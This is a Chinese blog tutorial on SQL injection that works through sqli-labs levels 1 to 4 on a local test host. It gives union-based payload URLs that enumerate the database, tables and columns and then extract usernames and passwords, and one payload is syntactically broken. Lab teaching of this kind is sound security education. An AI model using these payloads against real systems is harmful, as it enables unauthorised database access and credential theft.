Java教程

sql注入

本文主要是介绍sql注入,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

1.SQL原理分析

万能密码:sql注入的体现 

核心:就是让我写出来的字符窜当成代码执行

输入 and 1=1 and 1=2  的意义是判断是否是数字类型注入。

union select 4,5,6 将数据拼接在一起。联合查询。。。需要注意:两条sql语句得到的结果字段数相同

orderby(排序)排序几个字段。一般都是先使用order by 排序然后使用union联合查询

database()显示当前数据库库名

通过这些我们就可以进行简单的sal注入的实例例子。sali-labs测试平台第1-4关

2.sqli-labs第1-4关 简单sql注入

   (1)第一关 

            判断是什么注入类型,在页面中输入and 1=1 和and1=2 页面没有变化,得知是字符型注入。然后我们输入

               

           爆字段

 

            发现页面发生了变化,说明我们可以正常注入了。按照注入的流程。我们先使用order by 来判断字段,判断只有3个字段

 

                                                    

 

            当输入4的时候就会报错    

 

 

            爆显示位

 

            使用union联合查询,可以看到在网页上只有三个字段显示。我们要在前边换成一个不存在的值或者写成and1=2 让其条件不成立,来执行后面的union

                   

 

            爆数据库名

              我们在显示位第二位上输入databas()来显示数据库名      http://127.0.0.1/sqll/Less-1/?id=-1'union select 1,database(),3 -- qw 。我们得出了数据库名叫security。

                       

 

 

           爆表名

           这时候我们用到information_schema这是一个自带数据库。我们输入http://127.0.0.1/sqll/Less-1/?id=-1'union select 1,(select table_name from information_schema.tables where table_schema='security' limit 3,1),3 -- qw   。其中要用到子查询。

                          

 

            爆表字段

           这里要用and连接上表的名字

            http://127.0.0.1/sqll/Less-1/?id=-1'union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),3 -- qw

                         

           爆数据(用户名以及密码)

           使用两个limit 爆出数据

            http://127.0.0.1/sqll/Less-1/?id=-1'union select 1,select( username from users limit 1,1),(select password from users limit 1,1) -- qw

                          

 

             (2)第二关

                 这一关是数字型注入。当输入and 1=1 以及and 1=2 时候发现页面变化,说明是数字型注入。其余和第一关一样不多说

             (3)第三关

                  这一关是一个字符型注入 但是当我输入‘发现报错出现括号通过报错我们发现。他是一个')闭合注入

             (4)第四关

                是一个")注入

 

 

 

 

         

 

 

 

 

 

          

 

     

 

这篇关于sql注入的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!